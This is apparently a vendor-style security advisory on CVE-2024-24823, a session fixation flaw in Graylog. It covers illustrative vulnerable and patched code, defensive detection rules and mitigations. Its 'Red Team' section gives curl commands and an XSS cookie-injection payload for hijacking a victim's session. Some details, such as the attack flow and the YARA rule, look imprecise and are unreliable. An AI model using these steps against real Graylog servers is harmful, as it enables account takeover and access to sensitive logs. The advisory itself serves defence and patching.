CVE-2024-24823

Executive Summary

CVE-2024-24823 is a session fixation vulnerability in Graylog, an open-source log management platform. The flaw affects versions 4.3.0 through 5.1.10 and 5.2.0 through 5.2.3. When a user reauthenticates with an existing session cookie, the server reuses the same session ID, even if the credentials belong to a different user. This allows an attacker who can inject a session cookie into a victim’s browser (e.g., via XSS or a spoofed login page) to hijack the victim’s session and gain elevated access. The CVSS score is 5.7 (Medium), with a high attack complexity due to the prerequisite of cookie injection. Graylog has released patches in versions 5.1.11 and 5.2.4. No public proof-of-concept exploit is available, and the EPSS score is 0.0%, indicating very low exploitation likelihood in the wild.

Supply Chain & Package Security

Graylog is a Java-based application distributed as a tarball or via Docker. The vulnerability is in the core session management code, not in any third-party library. Users should verify the integrity of their Graylog binaries using checksums provided by the vendor. No malicious packages have been reported in the supply chain.

CVSS Breakdown & Threat Level

• CVSS Score: 5.7 (Medium)
• Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
• Attack Vector (AV): Network – the attack is exploitable remotely.
• Attack Complexity (AC): High – requires session cookie injection (e.g., via XSS or phishing).
• Privileges Required (PR): None – no authentication needed to initiate the attack.
• User Interaction (UI): Required – the victim must click a link or visit a malicious page.
• Scope (S): Unchanged – the vulnerable component and the attacker’s target are the same.
• Confidentiality (C): High – full read access to logs and system data.
• Integrity (I): High – attacker can modify logs, create users, or change configurations.
• Availability (A): None – no denial-of-service impact.

Threat Level: Medium. The attack complexity is high, but the potential impact on confidentiality and integrity is severe. Graylog often stores sensitive log data, including credentials and system events.

Deep Dive & Mechanics

The vulnerability lies in the session management endpoint /api/system/sessions. When a user sends a POST request to this endpoint with an existing session cookie (e.g., authentication cookie), the server does not invalidate the old session. Instead, it reuses the same session ID, even if the credentials in the request belong to a different user.

Attack Flow:

1. Attacker creates a session on the Graylog server (e.g., by logging in with their own credentials).
2. Attacker captures the session cookie (e.g., authentication=abc123).
3. Attacker injects this cookie into the victim’s browser (via XSS, a spoofed login page, or a man-in-the-middle attack).
4. Victim, already logged in as a privileged user, visits the Graylog interface. The browser sends the attacker’s session cookie.
5. Graylog sees the session ID abc123 and associates it with the victim’s authenticated state.
6. Attacker now uses the same session ID to access Graylog with the victim’s privileges.

The root cause is that the session ID is not regenerated upon reauthentication. Proper session management should always create a new session ID when credentials change.

Vulnerable vs. Patched Code

Vulnerable Code (Graylog < 5.1.11 / < 5.2.4):

// SessionResource.java (simplified)
@POST
@Path("/sessions")
public Response createSession(@Auth User user, @CookieParam("authentication") String sessionId) {
    if (sessionId != null && sessionExists(sessionId)) {
        // Reuses existing session without validation
        return Response.ok().cookie(new NewCookie("authentication", sessionId)).build();
    }
    String newSessionId = generateSessionId();
    storeSession(newSessionId, user);
    return Response.ok().cookie(new NewCookie("authentication", newSessionId)).build();
}

Patched Code (Graylog >= 5.1.11 / >= 5.2.4):

// SessionResource.java (simplified)
@POST
@Path("/sessions")
public Response createSession(@Auth User user, @CookieParam("authentication") String sessionId) {
    // Always invalidate any existing session
    if (sessionId != null) {
        invalidateSession(sessionId);
    }
    String newSessionId = generateSessionId();
    storeSession(newSessionId, user);
    return Response.ok().cookie(new NewCookie("authentication", newSessionId)).build();
}

The patch ensures that any existing session is invalidated before a new one is created, preventing session fixation.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Graylog instance (v4.3.0 to v5.1.10 or v5.2.0 to v5.2.3).
• Ability to inject a cookie into the victim’s browser (e.g., via XSS or a phishing page).

Step-by-Step Exploitation:

1. Create a malicious session:

   curl -X POST http://target:9000/api/system/sessions \
     -H "Content-Type: application/json" \
     -d '{"username":"attacker","password":"attackerpass"}' \
     -c cookies.txt
   

   Extract the authentication cookie from cookies.txt.

2. Inject the cookie into the victim:
   Use an XSS payload or a spoofed login page that sets the cookie:

   <script>document.cookie="authentication=ATTACKER_SESSION_ID; path=/";</script>
   

3. Victim authenticates:
   The victim logs in normally. Graylog reuses the attacker’s session ID.

4. Attacker hijacks session:

   curl http://target:9000/api/system/sessions \
     -H "Cookie: authentication=ATTACKER_SESSION_ID"
   

   The attacker now has the victim’s privileges.

Lab Setup:

• Use Docker to deploy a vulnerable Graylog instance:

  version: '3'
  services:
    graylog:
      image: graylog/graylog:5.2.3
      ports:
        - "9000:9000"
      environment:
        GRAYLOG_PASSWORD_SECRET: somesecret
        GRAYLOG_ROOT_PASSWORD_SHA2: 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
  

Blue Team (Defensive)

Detection:

• Monitor for multiple authentication requests from the same session ID with different usernames.
• Alert on POST /api/system/sessions requests where the Cookie header contains an authentication value that was previously seen with a different user.

Hunting Query (Graylog Search):

source:"graylog-server" AND action:"session_created" 
| stats values(user) by session_id 
| where count > 1

Mitigation:

• Apply the patch immediately (upgrade to 5.1.11 or 5.2.4).
• As a workaround, configure a reverse proxy to clear the authentication cookie for /api/system/sessions:

  location /api/system/sessions {
      proxy_pass http://graylog:9000;
      proxy_set_header Cookie "";
  }
  

• Enforce short session expiration (e.g., 15 minutes).
• Implement Content Security Policy (CSP) headers to mitigate XSS.

Indicators of Compromise (IOCs)

• Session ID reuse: Multiple users associated with the same authentication cookie value in Graylog logs.
• Anomalous login patterns: A single session ID used from different IP addresses or user agents.
• Log entries: Graylog audit logs showing session_created events with unexpected user changes.

Example Log Entry (Vulnerable):

2024-01-15T10:00:00Z [session_created] user=attacker session_id=abc123
2024-01-15T10:05:00Z [session_created] user=victim session_id=abc123  <-- Anomaly

Detection Engineering

YARA Rule

rule CVE_2024_24823_SessionFixation {
    meta:
        description = "Detects Graylog session fixation vulnerability indicators"
        author = "Valters IT"
        date = "2024-01-15"
        reference = "CVE-2024-24823"
    strings:
        $s1 = "/api/system/sessions" ascii wide nocase
        $s2 = "authentication" ascii wide nocase
        $s3 = "reuse" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Graylog Session Fixation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2024-24823 by monitoring for session ID reuse
logsource:
    category: application
    product: graylog
detection:
    selection:
        event: session_created
    condition: selection
    timeframe: 5m
    aggregation:
        field: session_id
        function: distinct_count(user)
        condition: gt 1
falsepositives:
    - Legitimate session sharing (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-24823 Graylog Session Fixation"; flow:to_server; content:"POST"; http_method; content:"/api/system/sessions"; http_uri; content:"authentication"; http_cookie; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Graylog to version 5.1.11, 5.2.4, or any 6.0 development branch.
2. Apply workaround: Configure a reverse proxy to strip the authentication cookie for /api/system/sessions.
3. Shorten session expiration to reduce the window of opportunity.
4. Enable audit logging and monitor for session anomalies.

Long-Term Measures:

• Implement strict Content Security Policy (CSP) to prevent XSS.
• Use HTTP-only and Secure flags on session cookies.
• Regularly review Graylog security advisories.

Patch Verification:

• After upgrade, test that session IDs change upon reauthentication:

  # Capture initial session
  curl -X POST http://target:9000/api/system/sessions -d '{"username":"admin","password":"admin"}' -c c1.txt
  # Reauthenticate with same credentials
  curl -X POST http://target:9000/api/system/sessions -d '{"username":"admin","password":"admin"}' -b c1.txt -c c2.txt
  # Compare session IDs - they should differ
  diff c1.txt c2.txt
  

Valters IT
DevSecOps & Cyber Threat Intelligence